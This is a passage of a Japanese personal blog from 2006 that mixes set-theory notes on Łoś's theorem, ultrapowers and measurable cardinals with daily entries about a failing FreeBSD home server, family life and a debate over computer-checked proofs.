$\leftrightarrow~\{\alpha<\kappa~\,:\,~~\text{not~}M_\alpha|=\chi(f_{1}(\alpha),f_{2}(\alpha),\cdots,f_{n}(\alpha))\}\in{U}\,\,\,(\ast)$
$\leftrightarrow~\{\alpha<\kappa~\,:\,~~M_\alpha|=\neg\chi(f_{1}(\alpha),f_{2}(\alpha),\cdots,f_{n}(\alpha))\}\in{U}$ $\leftrightarrow~\{\alpha<\kappa~\,:\,~~M_\alpha|=\varphi(f_{1}(\alpha),f_{2}(\alpha),\cdots,f_{n}(\alpha))\}\in{U}$
で超フィルターの性質を使います。最後にがの場合、の部分をと略記すると次のように証明出来ます。
$M/U|=\varphi([f])$
$\leftrightarrow~M/U|=\exists{x}(\chi(x,[f]))$
$\leftrightarrow~\exists{g\in{M}}(M/U|=\chi([g],[f]))$
$\leftrightarrow~\exists{g\in{M}}(\{\alpha<\kappa\,:\,M_\alpha~|=~~\chi(g(\alpha),f(\alpha))\}\in{U})$
$\leftrightarrow~\{\alpha<\kappa\,:\,M_\alpha~|=~\exists{x}\chi(x,f(\alpha))\}\in{U}~\,\,\,(\ast)$
$\leftrightarrow~\{\alpha<\kappa\,:\,M_\alpha~|=~\varphi(f(\alpha)\}\in{U}$
の部分で下から上への導出においては、の具体例の構成に選択公理を使用します。本当は超べきのことも書こうかと思っていたのですが、存外長くなったので以下は次回。
2006年9月24日付記(超べき)
特に $(M_\alpha)_{\alpha<\kappa}$ がすべて等しい場合(今回は $M_\alpha~=~V~\quad~(\alpha<\kappa)$ の場合を考える) $\mathrm{\Pi}_{\alpha<\kappa}{M_\alpha}/U~=~V^{\kappa}/U$ を $V$ の $U$ による超べきと呼びます。Lośの定理により、 $V^{\kappa}/U$ では $\varepsilon$ に関し、集合論の公理がすべて成り立ちます。今、 $x\in{V}$ に対し $j(x)~:\,~\kappa~\rightarrow~V$ を $x$ を値とする定値関数とすると、 $j:\,V~\rightarrow~V^{\kappa}/U$ が定義されますが、これまたLośの定理により、 $j$ は初等的埋め込み(elementary embedding)となります。また $\alpha<\beta~\leftrightarrow~j(\alpha)<j(\beta)$ であることにより $\alpha~\le~j(\alpha)$ が成立します。超べきの場合のLośの定理を再掲します。
(Lośの定理超べきの場合)
$\varphi(x_{1},x_{2},\cdots,x_{n})$ をすべての自由変数が明示された集合論の言語に属する論理式とする。このとき次の事実が成立する。
$\{\alpha<\kappa~\,:\,~~\varphi(f_{1}(\alpha),f_{2}(\alpha),\cdots,f_{n}(\alpha))\}\in{U}~\leftrightarrow~V^\kappa/U~|=~\varphi([f_1],[f_2],\cdots,[f_n])~$
$\varphi(x_1,x_2,\cdots,x_n)~\leftrightarrow~V^\kappa/U~|=~\varphi(j(x_1),j(x_2),\cdots,j(x_n))$
特に $\varphi$ が自由変数を持たない場合
$\varphi~\leftrightarrow~V^\kappa/U|=\varphi$

ここで次の重要な事実が成立します。
$U$ が可算完備のとき (即ち $X\subset{U}$ が高々可算の場合 $\bigcap{X}\in{U}$ ) $V$ で $\varepsilon$ に関する無限下降列は存在しない。
(証明) をに関する無限下降列とします。によりところがが可算完備であることにより、これはでのに関する無限降下列が存在することを意味し、正則の公理に反します。この定理の条件が満たされない場合のちょっとした考察や反例に関しては、超巾と正則性を参照して下さい。
定理の条件が満たされる場合、特に $\kappa$ が可測基数で $U$ がその上の nonprincipal $\kappa$ -complete ultrafilter の場合 $V^\kappa/U$ の推移的崩壊 $M$ を構成可能で、同型 $\pi:\,V^\kappa/U~\rightarrow~M$ を経由することにより $\pi\circ~j:\,V~\rightarrow~M$ が初等的埋め込みとなります。通常 $\pi\circ~j$ を改めて $j:\,V~\rightarrow~M$ と書くことが多いようです。 $M$ での所属関係の解釈は $\varepsilon$ ではなく $\in$ なので非常に扱いやすいのです。また $M$ の推移性と $\alpha\le~j(\alpha)$ により $M$ は集合論の内部モデルであることも分かります。推移的崩壊の定義に関しては、推移的崩壊とAFA を参照して下さい。
- (*1) wash と発音するそうです。
- (*2) クラスの族 $(M_\alpha)_{\alpha<\kappa}$ の「定義」は二変数以上の論理式 $\varphi(x,y,p_1,\cdots)$ を考え $M_{\alpha}~=~\{x\,:\,\varphi(x,\alpha,p_1,\cdots)\}$ と思いますが、自信なしです。
- (*3) 文脈上明白な場合 $[f]$ を単に $f$ と書く場合もある。
- (*4) $\in$ ではなく $\varepsilon$ であることに注意。 ${\in}^{*}$ と書く人も多い。
(関連リンク)
半順序とフィルター超フィルターと κ-完備フィルター超巾と正則性 Scottの定理・可測基数とL 弱コンパクト基数がいっぱい

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2006年9月9日(土)

さよなら R30 こんにちは X24
いやはや昨日は大変なことになりました。会社のお昼休みに、昨日はやしさんが書いて下さったコメントに返事を書いていたのです。ところが自宅サーバー(FreeBSD/R30)の様子がおかしく、ほとんどすべてのコマンドが実行出来ないのです。
dmesg で見ると案の定ディスクエラーが山のように出ています。ついにその場しのぎの対処も限界に来たようです。というか Web サーバーがそこそこ動いていたのが不思議だったのですが、上のコメントに書いたように、キャッシュに残っている分や、新規の書き込みに関しては、なんとかかんとか動作していたようです。ちゃんとコメントの POST も出来たし。もしかすると最初の日のコメントで
「昨日からまた自宅サーバーの調子が悪いので、ログとかなくなってしまうと失礼ですので、新サーバーへ移行したときの設置を考えております。」
と書いたにもかかわらず、くっつきBBSを導入したのが早まり過ぎだったのかも知れません。いずれにしても、せっかく書いて下さったコメントを紛失すると大変失礼ですので、コメントファイルを大急ぎで X24 にコピーしました。幸いコメントの本体はキャッシュに入っていて無事だったようです。
さらに、もしかしてアクセスが少なければ、キャッシュだけで家に帰るまでなんとかなるかな、と甘い期待を抱いたまさにその瞬間 all.html へのアクセスがあったのです(笑)。お願い！それだけはやめて～、絶対キャッシュに入りきらないから。といくら祈ってもアクセスは続き、結局その直後に無反応となりました。
ところで R30 のおとなりの新サーバー候補、FreeBSD/X24 の sshd にはポート110の穴があいています。この穴を利用したところ、うまいこと X24 に入ることができたので、リモートでこちらを緊急 Web サーバーに仕立てることを考えたのです。なんといってもソース自体はすべて PowerBook に入っていますので。
ファイルをコピーして ADSLモデム件ルーターのポート80転送先を変更すれば良さそうです。X24のアドレスをR30のものに変更することも考えたのですが、 R30もさるもの！ping だけには応答するので、この案は却下です。ADSLモデムの設定変更は、X11 フォワードを使い、X24 の FireFox を会社側の PowrBook に表示することで可能そうです。このように裏技的なテクニックの限りをつくし、準備完了、ADSLルーターのリブートです。ところがこんどは X24 にも全然ログイン出来なくなってしまいました。んむむむっ！完璧な設定をしたはずなのにどうして？
DDNS の fetchmail と .fetchmailrc の設定を忘れていました(笑)
おうちからレンタルサーバーの特定のホストに APOP プロトコルでの認証を行うと、自宅のアドレスが evariste.jp に反映する仕組みなのです。ADSLモデムのリブートでIPアドレスが変化してしまったようです。なんちゅうへまを！！
結局おうちに入るのは全く不可能となり、evariste.jp の元アドレスが変なホストに向いてしまわないよう、レンタルサーバー内で DDNS 用ダミーメールの取り込みを行い、家に帰るまで放置することにしました。
おうちに帰り R30 の電源を落とし起動しましたが、何回行ってもブートの途中で止まります。完全に壊れてしまいました。五年間本当にご苦労様でした。危険が迫っていることは分かっていたので、そこそこバックアップをとってあり、Web サーバー、メール送受信、CVS(これは非常に重要)、squid プロキシーの環境は比較的容易に X24 へ移行出来ました。いや～、これだけでも数時間かかり相当疲れたのですが。
バックアップを忘れたのは .procmailrc、 bsfilter に覚えさせたスパムデーターベースと縮小プロキシー用の delegate の環境です。スパムメールの実体は残っているので、こちらは明日あたり再度記憶させることとします。delegate は、なくしたのが申しわけないという事情ありですが、どうしようかな。ごめんなさい。
X24には今後末永く頑張って頂きましょう。さすがにこれ壊れる事態に陥った場合、本気でレンタルサーバーに移行することを考えます。
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2006年9月8日(金)

くっつき BBS
はてなのコメントで酒井さんに教えて頂いたくっつき BBS 。リンク先ののコメントでは「サーバーを移行してから」なんて書きましたが、やはり自宅で全部管理出来た方がなにかと便利ですので、本日から運用開始です。
もちろん今まで書いて下さったコメントに関しては、はてなの方のリンクを張っておきます。お願いなのですが、特に問題が無いようでしたら、運用が落ち着いた段階で、はてなに書いて頂いた内容をこちらのBBSの方にコピーしたいのです。もちろん書いて下さった方々のご了承を頂くのは当然ですが、メール等でお聞きするのも逆にご迷惑をおかけするような気がします。もし問題等がありましたら連絡して頂けると幸いです。
もともとの実装では、投稿と逆順に表示されるようになっていましたが、ループの順序を変更し、投稿順に表示されるように変更しました。
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2006年9月7日(木)

会社に泊まり
実はまだ会社で仕事してます。四つ仕事がかぶってるのですが、やっと一つ出来上がりかな。しらたまちゃんは昨日の夕方 25日間で電池交換となりました。
H さんが「ゲーデル未刊哲学論稿」という本を貸して下さりました。さらに先日貸して頂いた「「万人の学問をめざして―倉田令二朗の人と思想」は難しい部分も多いのですが、非常に読み応えがあり、じっくり時間をかける価値があると思います。こちらは自分で購入しました。
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2006年9月6日(水)

またダウンした自宅サーバー
移行するといいつつ面倒で放置してあった自宅の FreeBSD/R30 サーバーですが、本日の朝またまた固まっていました。仕方ないので電源を落として再起動したのですが、下のメッセージを10回くらい出した後 fsck 中に固まります。
```
ad0: READ command timeout tag=0 serv=0 - resetting
```
あややー、移行をさぼっていたのでついに復旧不可能となったか！！困ったなと思いつつ、今度はシングルユーザーモードでブートです。手動で fsck を行うとやはり上と同じメッセージが出続け、いよいよご臨終のようです。ところがしばらくすると、
```
ad0s1g: hard error reading fsbn 8988159 of 2921184-2921311 \
(ad0s1 bn 8988159; cn 594 tn 109 sn 12) trying PIO mode
ad0: DMA problem fallback to PIO mode
```
なるメッセージが出て、それ以降は特に問題なく fsck が完了したのです。というわけで、応急処置として、/boot/loader.conf にhw.ata.ata_dma="0" なる行を追加し、強制的に PIO モードで再起動です。そう言えば昨日からやけに LAN 通信で一休み現象があるような気がしたのですが、もしかして DMA 周辺に問題があるのでしょうか。
いずれにしても、さすがにサーバーを移行しないとまずそうな。とりあえず http サーバーだけでも今度の土日に。まああてにはならないですが(笑)。
(関連項目) またもダウン自宅サーバー(2006年7月25日) 自宅サーバー崩壊近し(2006年5月19日)
一回修復すると一月以上持つのが謎です。こういう現象の場合普通はOS とかのバグを疑うのですが、リブート直後は同様なエラーが頻発するので、それも関係ないし。もしかして一月に一度リブートすれば良いとか(笑)。
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2006年9月5日(火)

はてなコメント欄を借りる
おうちにコメントを書くとこがないとなにかと不便なのです。どこかかから適当な CGI を持ってきて設置しようかとも思いましたが、最近はコンピューターの管理をするのが面倒で、いまいちやる気が起きません。ところではてなダイアリーの規約を見ると、ブログを単なるリンクにすること自体は禁止されていないようです。そこでこちらのようにブログの場所を借りまして、要するにコメントを書いて頂く場所にすることにしました。私が見落とした規約上の問題点等ありました教えて頂けると幸いです。
下のコメントへのリンクは当面手作業でコメント数を書きますので、反応に時間がかかる場合があります。ご容赦の程お願い致します。
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とっても長持ち新しらたまちゃん
新しらたまちゃん購入後24日経過しましたが、未だ最初に入れた eneloop が切れません。前のしらたまちゃんの場合、12日から18日程度で切れましたし、この三週間程かなりマウスを酷使したと思いますので、新しいのは少なくとも二倍程度電池が保つと推測されます。前にも書いたと思いますが私のマウスの使用量は半端でなく、平均して一日十時間以上使用すると思いますし、無意識に動かす癖もあります。さらに会社ではデュアルディスプレイを使用していますので、移動量がとても多いのです。なので普通の使い方ですと楽勝で三ヶ月以上持つのではないかと思われます。
先週の土曜日から右のゲージが使い始めはレヴェル3、数時間使うとオレンジ色のレヴェル2という状況です。おそらくあと数日で電池を交換する必要があると思われますので、丁度二倍という感じでしょうか。といいますか、以前のしらたまちゃんですと、レヴェル2になってから一日程度で使えなくなったので、先週の土曜日の段階で案外保たないなと思ったのですが、いやはや随分ねばり腰があるもので。もしかして電圧測定の誤差とかも関係あるかも。
ところで、長持ちすること自体運用上非常に好ましいのですが、いったい今まで行ってきた涙無しには語れない電池の研究はなんだったのか？という根源的な疑問が発生します。これだけ保つなら安物アルカリで十分じゃん(笑)。
(関連項目) 新しらたまちゃん購入しらたまちゃん電池最終報告
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2006年9月3日(日)

トンデモ(アレフ編その3)
トンデモ(アレフ編) に関し、くるるさんからコメントを頂きました。ありがとうございます。
くるるさんの数学ノート Mizarとか
中村氏が Mizarプロジェクトに関わり、 Jordanの曲線定理のコンピューターによる証明に関しての「業績」に関与していらっしゃることは一昨日の段階で知っていました。個人的には、このような方向性、といいますか、力任せで「正しさを証明する」という考えかた自体に非常な違和感を感じるのですが、この点に関しては、最後に記載することにし、今回の話とはひとまず切り離します。
くるるさんのご指摘のように、中村氏のお考えとして、「コンピュータでチェックされていない証明は認めないという方針」ということが根底にあるのは間違いありません。私自身はその考えは誤りであると思いますが、中村氏の最大の問題は、そもそも彼が批判している、「数学の証明」に関する基本的な知識を持ち合わせていないと強く推測されるからです。推測だけで人様の批判をするのは良くないかも知れませんが、少なくとも中村氏が責任者であるCAIのページにおける論理学、集合論(あと代数)の陳腐さを見る分には間違いないと思います。良く読むと、位相空間論のところは比較的まともかと。さすがJordan 曲線の研究をなさっているだけのことはあります。「位相同型」の定義で肝心の関数自体の連続性が抜けているのはご愛嬌ということで。
中村氏は数学者の行う数学が持つ厳密性の意味や、奥の深さ、イマジネーションや直感の重要性、それから美しさとかそういう方面に対する知識や感性を余りお持ちでないような気がします。別に知らないこと自体悪いことではないのですが、知らないのにも関わらず陳腐な内容や虚偽の内容を教材資料として公開することに大いなる問題があると思います。さらに、本質的な部分を知らないか、少しは知っていてあえて無視するのかは分かりませんが、とりたてて根拠なく数学者の証明の厳密性に対し異議を唱えているのです。少なくとも学者や教育者として正しい態度であるとは思えないのです。中村氏の数学、もっと一般に学問に対する考え方は、余りに幼稚であると言わざるを得ません。
(2008年4月15日上記取り消し線部分の文章は中村氏への人格攻撃になってしまった面があります。撤回致します。まことに申しわけございませんでした。 2008年4月15日「信州大学へのメール」の項目も参照して下さい。)
最後にコンピューターによる証明の検証についての感想など。個人的な見解です。はっきり言いましてJordanの曲線定理の「証明書」が14年がかりで作られ、総行数20万行というは、果たして意味があることなのか疑問です。ただし現在非実用的なのはある意味好ましいのであり、もしある程度実用的になり、「数学の論文はコンピューター可読な形式とし証明のチェッカーを通す」ことが実質義務づけられたりすると、とてもいやな未来が待っているような気がします。
優秀な人はやはり現在のような自然言語で論文を書くと思います。どんどん湧き出るマジネーションをコンピューターの言語に翻訳している様なつまらないことをする動機も暇もないからです。その場合一番犠牲になりそうなのは、普通の学部生や大学院生で、元の論文をコンピューター語に書き直し、つまらない誤りを修正したり、どうでも良い細部を埋め込む人海戦術にかり出されるのではと危惧するのです。現に今の生物学など一部その様な状況になっていると思うのですが。数学教室の普通の学生や大学院生は、新しい発見を行い直接数学に貢献する訳でもなく、「分からない！もうやだ！！」とぼやきつつ毎週のセミナーの準備に明け暮れているというのが実情だと思います。それでも一人一人は余り出来が良くないとしても、やはり数学の原理や美しさ、場合によってはテクニック、色々あると思いますが、個人個人学びたいことを強制されずに勉強し、その経験により数学や学問に対する考え方や思想を身につけて行くのだと思います。だめ学生でもそれなりの希望や展望を持って勉強したいに違いないし、少なくとも私はそうだったです。そして教育の場ではその機会を十分に与えるべきだと考えます。
コンピューターによる証明の検証という代物は、運用を誤ると学生を先生の下働き要員に使うようなシステムになるような気がして、どうしても好きになれないのです。上のJordanの定理の「業績」においてすでに犠牲者が出ていなければ良いのですが。
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2006年9月2日(土)

モカちゃん徹夜する
一昨日から昨日にかけてですが、モカちゃんは徹夜でした。いやー、上の二人はともかく、モカちゃんだけは大丈夫かと思っていたのですが、そこはほら！私の娘。やはりぎりぎりまでしなかったようで＞宿題。
というかそこそこ出来上がっていたらしいのですが、30日に
やり終わったはずの宿題を二つなくした
ことが判明し、あせりまくったようです。結局30日から31日にかけては三時間くらいしか寝ないで、31日から始業式の1日まで徹夜。昨日帰ってきてから今朝まで爆睡していました。
大学一年の二女と「私とあなただったら絶対に放棄したよね」と言う話になり、お互い納得し合ったのは良いことなんだか(笑)。

2006年9月1日(金)

トンデモ(アレフ編続き)
笑っているだけではすまない様な状況が見えてきましたので、昨日のトンデモ(アレフ編) にいくつかコメントを追加しました。

2006年8月31日(木)

トンデモ(アレフ編)
これはかなり電波度が強いです。 $\aleph_{n+1}~=~\mathrm{card}(\{0,1\}^{\aleph_n})$ っていったい。一般の人のページでこの手の間違いや勘違いは案外多く、それに対して特に批判的になる必要はないと思うのですが、大学の研究室を名乗っている点で大いなるトンデモと言えるのでは。
「アレフ０とアレフ１の間の濃度があるか（どちらとも等しくなくて）？」という問題が昔からあり、無い、というのを連続体仮説（Continuum Hypothesis）、と呼んでいます。数学基礎論でいくつかの理論がありますが、証明をコンピュータで厳密チェックするというレベルでは未だ解決していません（有名なプルーフチェッカーであるＭｉｚａｒのライブリーにはない。証明できないということが証明できる、という説もあるが．．．）。
すご過ぎます(笑)。いや！笑いごとではないな。
といいますか、このページを真のトンデモとなさしめているのは、 $\aleph_{1}$ と $2^{\aleph_0}$ を勘違いしていることより、「コンピューターで厳密チェックするというレヴェルでは未だ解決していません」以降の部分です。~~単なるコンピューターおたく？~~
(2006年9月1日付記) 上記ページは信州大学教授中村八束氏の責任において運用されています。集合論に限らず数学一般に対し非常に不真面目な見解をお持ちです。
中村氏の数学に対する無知、無理解、偏見に関しては、こちらの情報証明論のページが参考になります。また、はるかに大きな問題は、中村氏の無知や無理解は数学の分野にとどまらず、学問、人間の知性や理性や感情、というより人間精神そのものに対するものであることです。
もしこの優れた道具を使いこなせれば、高度なプロダクツを設計製造でき、また競争相手に対し優位に立てる有形無形の財を手にすることになるでしょう。
(一部略)
人は論理によって動かせない、といっても悲観することはないのです。そういう論理で動かない人はエサに寄ってきて捕まるけものとあまり変わらない、と思ってください。
~~正に学問と相反する見解であると考えます。~~
(2008年4月15日上記取り消し線部分の文章は中村氏への人格攻撃になってしまった面があります。撤回致します。まことに申しわけございませんでした。 2008年4月15日「信州大学へのメール」の項目も参照して下さい。)
(2006年9月3日に続く)
(リンクして下さった方) くるるさんの数学ノート Mizarとか。ありがとうございます。

2006年8月30日(水)

鴨南蛮みたび
今日も石川県から N さんが出張してきたので、お昼に N さん、S さん、H さんと鴨南蛮を食べたのです。N さんがおにぎりも注文したら、たくあんが二つついてきたので、「一つ下さい」とお願いしたのですが、おにぎりの具がなくなってきたらはさんで食べるということで、もらえませんでした。残念です。おんなじねたばかりですみません。

(関連項目) 鴨南蛮ふたたび

2006年8月29日(火)

またはずれ
ちまたで話題になっている iBook や PowerBook のバッテリーリコールですが、今回こそはと期待したにもかかわらず、またまたおおはずれです。まあはずれたのは仕方がないとして、不愉快なのは、前回一緒に討ち死にした会社の N さんから来たメール。
```
------------------------------------------------------------------
Subject: バッテリ当たり
To: kagami@evariste.que.ne.jp
Date: Mon, 28 Aug 2006 19:56:00 +0900 (JST)
X-Mailer: Mew version 3.3rc1 on Emacs 21.2 / Darwin 7.9.0 powerpc

鏡様
めでたくご当選。
A1079 ZZZZZZZZ
人品が良いと良い事もあるものですね。(^^Y
--
N
------------------------------------------------------------------
```
裏切り者～。そもそもこの交換プログラムは私が教えてあげたのではないか。それなのに自分だけ。しかも N さんの PowerBook は私よりも半年程度先に購入されたもので、それだけバッテリーも使い込んでいると推測されるのです。
実に不愉快です。
というか裏切り者さまはこちらにもいらっしゃいまして、いやはや世の中の人は景気が良くてうらやましいこって。やはり人品の差がでてしまったのでしょうか(笑)。

2006年8月28日(月)

万人の学問を目指して

はやしさんのところの「最近のおすすめ本」で推薦されていたので、気になっていたのですが、なんと会社の H さんが持っているそうで、さっそく貸して頂きました。
万人の学問をめざして―倉田令二朗の人と思想
昼休みにちょっと読んでみたのですが、めっちゃ面白そうです。最近は帰りの電車の中で Shoenfield本を読むことが多かったのですが、しばらくこちらを読むことにします。
余談ですが、一週間程前まではまたまた Jech本を持ち歩いてて、肘と手首に電気が走るようになっていたのです。残念ながら女性が萌えてくれるということは全くなかったみたいです。あたりまえか(笑)。
(関連項目) Shoenfield著 Mathematical Logic

2006年8月27日(日)

統計学
モカちゃんに「私の名前の画数はいくつでしょうか。」という問題を出されたのです。頭の中でいい加減に考え二十三画と答えたところ、「違うよ！」ということでもう一度考え直したら、今度は二十一画。ところが「何考えてるの。また違うじゃない！二十二画ですよ」と怒られてしまいました。
「平均すれば合っているじゃん！！こういうのを統計的手法と言って科学的に大切な考え方なのだ。」と負け惜しみを言ったのですが、こんどは奥さまに「いい加減なこと言わないの。」と怒られてしまいました。
モカちゃんの名前は画数が多い方だと思います。おうちの名字も画数が多いので、テストの時極めて不利です。そもそもモカちゃんの名前は、長女と二女でそれらしき漢字を使いきり、やっとの思いで奥様が考えた名前なので、画数が多いのは仕方がないのです。もちろん画数がいくつになるかなんて全然考えていません。出生届を出しに行く時、書き方が分からなくなり、かなりあせったのは絶対に内緒です(笑)。
内部モデルに関するごく基本的な覚え書き
$M$ を集合論の内部モデルとするとき次の事実が成立する。
(0) $X\in{M}~\rightarrow~\mathrm{rank}(X)^M~=~\mathrm{rank}(X)$
(1) $X\in{M}~\rightarrow~\mathcal{P}(X)^M~=~\mathcal{P}(X)~\cap~M.$
(2) $V_{\alpha}^M~=~V_{\alpha}~\cap~M.$
(3) $X,Y\in{M}~\rightarrow~(|X|^M~=~|Y|^M~~\rightarrow~|X|=|Y|).$
(4) $X\in{M}\rightarrow(|X|~\le~|X|^M),\,\,~\mathrm{cf}(\alpha)~\le~\mathrm{cf}(\alpha)^M.$
(5) 次の性質は $V$ から $M$ へ引き継がれる。「基数、極限基数、正則基数、弱到達不可能基数、到達不可能基数」
いずれも証明は簡単。というか自明に近い。

2006年8月26日(土)

セミの幼虫
8月23日のセミの写真で「さなぎ」と書きましたが、セミは不完全変態なので、さなぎにはならないというご指摘を頂きました。考えてみると写真の主は土の中からもぞもぞはい出してきた幼虫です。ご指摘ありがとうございます。

2006年8月25日(金)

三次元球面

会社で上司の S さんに、「かがみさん三次元球面てなに？普通の球面と違うの？」と聞かれたのです。なるほどフィールズ賞のニュースを見るか聞くかしたのでしょう。以下 S は S さん、K は私を表すとします。

K 輪切りにすると普通の球面になる四次元の中の球面です。

S ？？？

K 皮が三次元なんですよ。

S ？？？

K えーっと分からないですよね。それでは平面人間を考えます。

S ふむふむ

K この人たちは周りを囲んでいる三次元空間を認識出来ないとします。

S うんうん

K でもって、この平面を普通の球面が横切ったら、平面人間にはどのように見えると思いますか？

S そりゃ最初にぽつんと点が見えて、小さい円になり、だんだん大きくなり、また縮んで点になり見えなくなるのでは。

K それと同じことを一次元上げて考えます。我々の周りに認識不可能な四次元空間があったとして、その空間内の三次元球面が我々の世界を横切ったとします。

S もしかして小さい風船みたいなのが現れて、段々大きくなって、また縮んで消滅するのでは？

K そうですそうです！！そういうイメージなんですよ。

S で、結局なんなの(笑)

K そんなの私にも分かりませんよ。ただし方程式は簡単に書けて、四次元空間で x² + y² + z² + w² = 1 という感じで定義されるのです。輪切りにするというのは、例えば w に 1 以下の実数を代入することを考えれば良いのです。そうすると x, y, z だけが残って普通の球面になるでしょ。

S なるほど。ということは体積とかも求まるの？

K 輪切りにしたのを積分すれば簡単ですよ。球面ではなく内部も含めてですが。

S 分かったような分からないような。まあ雰囲気は。

K いや～私もそんなもんですから(笑)。

と、さすがに賞の権威とニュースの威力は、普段余り数学に接していないと思われる人にもなかなかのインパクトがあるようです。もちろん、私自身はポワンカレ予想のことなど全然分かりません。

余談ですが、意味内容を伝えやすい歴史的な未解決問題が少なくなってきたような気がします。もしかして Riemann 予想と NP問題位しか残ってないのでは？

2006年8月24日(木)

可測基数と弱コンパクト基数(再挑戦)
集合論雑記目次
8月21日の「可測基数と弱コンパクト基数」のいくつかの誤りと無駄な点をくるるさんに指摘して頂きました。再チャレンジです。 $\kappa$ を可測基数として $U$ をその上の正規な $\kappa$ 完備超フィルター、 $j:\,V~\rightarrow~M$ を超べき $V^{\kappa}/U$ の推移的崩壊 $M$ への初等的埋め込みとします。さらに次の事実は分かっているものとします。
可測基数は弱コンパクト
$V_{\kappa~+~1}~=~V_{\kappa~+~1}^M$
このとき $M|=$ 「 $\kappa$ は弱コンパクト」.
(証明) まず一般に $M$ を内部モデル(すべての順序数を要素とする集合論の推移的モデル)とするときの留意事項。
(1) $\lambda$ が基数ならば $(\lambda$ は基数 $)^M$
(2) $X\in{M}$ のとき $|X|~\le~|X|^M$
(1) は $\alpha~<~\lambda$ に対し $M$ での単射 $\lambda~\rightarrow~\alpha$ が存在すると、これは $V$ での単射となるので。(2) は $(\lambda=|X|)^M$ を仮定し $M$ での全単射を考えると $V$ で $|\lambda|~=~|X|.$ 従って(順序数として) $|X|~=~|\lambda|~\le~\lambda~=~|X|^M.$
また $Y=[X]^2$ は $\Delta_0$ 論理式なので $X\in{M}$ に対し $([X]^2)^M~=~[X]^2$ が成立します。
$f\in{M},\,f:\,[\kappa]^2~\rightarrow~2$ を関数とします。すると $\kappa$ が ( $V$ で)弱コンパクト基数であることにより $H\subset\kappa$ が存在して $|H|=\kappa$ かつ $f$ は $[H]^2$ 上で定値。ところが $H\in~V_{\kappa+1}~=~V_{\kappa+1}^M$ なので $H\in{M}.$ (2) により $(|H|=\kappa)^M$ が成立することと $([H]^2)^M~=~[H]^2$ により $\kappa$ は $M$ で弱コンパクト。
今後、超べきや可測基数に関して記載したことをことをまとめ直し、証明を書かなかった部分も補完し、可測基数と弱コンパクト基数の初歩的な事実を記述する予定です。
(関連項目)
弱コンパクト基数がいっぱい
 弱コンパクト基数の基本性質(一回目)
(リンクして下さった方) くるるさんの数学ノート。ありがとうございます。

2006年8月23日(水)

写真二枚
全く脈絡のない写真を二枚。左は奥さまが捕まえてきたセミの~~さなぎ~~ 幼虫です。~~さなぎと言ってももぞもぞ歩くのです。~~今晩中に成虫になるかも知れません。
そして右は本日届いた Shoenfield著 Mathematical Logic です。こちらはぼちぼち目を通すことにします。

(関連項目) Shoenfield著 Mathematical Logic
せみ
可測基数と弱コンパクト基数に追記
8月21日「可測基数と弱コンパクト基数」にいくつか追記しました。正しい方向を向いているかは自信ありません。というか $M^\kappa~\subset~M$ の条件が本当に必要なのかが疑問です。

2006年8月22日(火)

会社に泊まり
プログラム書いていたら帰りそびれてしまいました。朝帰りの予定です。

2006年8月21日(月)

セーラー2003UB313の危機
かなり危機的な状況らしいです。
(関連リンク) すいきんちかもく
Shoenfield著 Mathematical Logic
不勉強ながら、はやしさんのブログで初めてこの本の存在を知ったのですが、とても面白そうなので購入しようかと。悩みどころは amazon.com $35.00 と amazon.co.jp 5,251円どちらから買おうかとうことです。単純なレート計算ですと、米国から輸入した方が安そうですが、送料が高いのと、届くまで三週間くらいかかることを考えると日本かな。
可測基数と弱コンパクト基数
(追記 2006年8月24日) 下記「証明」にはいくつか不備や無駄な点があります。可測基数と弱コンパクト基数 (再挑戦)を参照して下さい。
下記の「証明」は正しいのでしょうか？
$\kappa$ を可測基数として $U$ をその上の正規な $\kappa$ 完備超フィルター、 $j:\,V~\rightarrow~M$ を超べき $V^{\kappa}/U$ の推移的崩壊 $M$ への初等的埋め込みとします。さらに次の事実は分かっているものとします。
$V_{\kappa~+~1}~=~V_{\kappa~+~1}^M$
可測基数は弱コンパクト
$M^{\kappa}~\subset~M$
また基数 $\lambda$ が弱コンパクトであることを $\lambda~\longrightarrow~(\lambda)^2$ が成立することと定義します。このとき
$M~|=~\kappa~\text{~is~weakly~compact.}$

(証明) まず前提条件として $V_{\kappa~+~1}~=~V_{\kappa~+~1}^M$ であることと $\alpha~<~\kappa$ に対し $M$ での単射 $\kappa~\rightarrow~\alpha$ が存在すると、これは $V$ での単射となるので $M|=\kappa~\text{~is~a~cardinal.}$ さらに $[\kappa]^2$ は $V_{\kappa+1}$ の要素ではないので、 $([\kappa]^2)^M~=~[\kappa]^2$ は自明ではないが、 $\kappa~\in~{M}$ なので
$z\in([\kappa]^2)^M~\leftrightarrow~\exists{x\in{M},y\in{M}(x\in\kappa~\wedge~y\in\kappa~\wedge~z=\{x,y\}^M)$
$\leftrightarrow~\exists{x\in{V},y\in{V}(x\in\kappa~\wedge~y\in\kappa~\wedge~z=\{x,y\})~\leftrightarrow~z\in[\kappa]^2$
により $([\kappa]^2)^M~=~[\kappa]^2$ は本当に成りたつ(対に関する絶対性は明らかということで)。
$f:\,~[\kappa]^2~\rightarrow~2$ を $M$ で定義可能な関数とすると、当然 $V$ で定義可能。従って $H\subset\kappa$ が存在し $|H|=\kappa$ かつ ~~$f$ は $H$ 上で定値。~~ $f$ は $[H]^2$ 上で定値。 $H\in~V_{\kappa+1}$ なので $H~\in~M,~H^M~=~H,~(|H|~=~\kappa)^M$ が成立する。
(この行追加 2006年8月22日) また上と同じ論法により $([H]^2)^M~=~[H]^2.$
$(|H|~=~\kappa)^M$ の部分は、 $V$ での単射 $\kappa~\rightarrow~H$ は $M^{\kappa}\subset~M$ により $M$ での単射となるから。 ~~明らかに $M|=~f~\text{~is~constant~on~}~H$ が成り立つので~~ 明らかに $M|=~f~\text{~is~constant~on~}~[H]^2$ が成り立つので $M|=~\kappa~\text{~is~weakly~compact.}$
大穴が空いているのかどうか良くわからないです。
(関連項目) 弱コンパクト基数がいっぱい
(2006年8月22日追記) くるるさんに教えて頂き、明らかな間違いを一つ修正しました。その他回り道をしている部分もあるとご指摘を受けました。そちらは今後修正できればと思っています。どうもありがとうございます。
(2006年8月22日追記) 回り道そうな部分。 $\kappa~\in~M$ は $M$ が内部モデルだから。
一般に $X\in{M}$ の場合 $([X]^2)^M~=~[X]^2$ は $Y=[X]^2$ が $\Delta_{0}$ 論理式なので。
$H^M~=~H$ は意味不明な気がします。本質的なのは $H\in{M},\,(|H|=\kappa)^M$ ということで良いのでしょうか？

2006年8月20日(日)

竹内外史著「現代集合論入門」
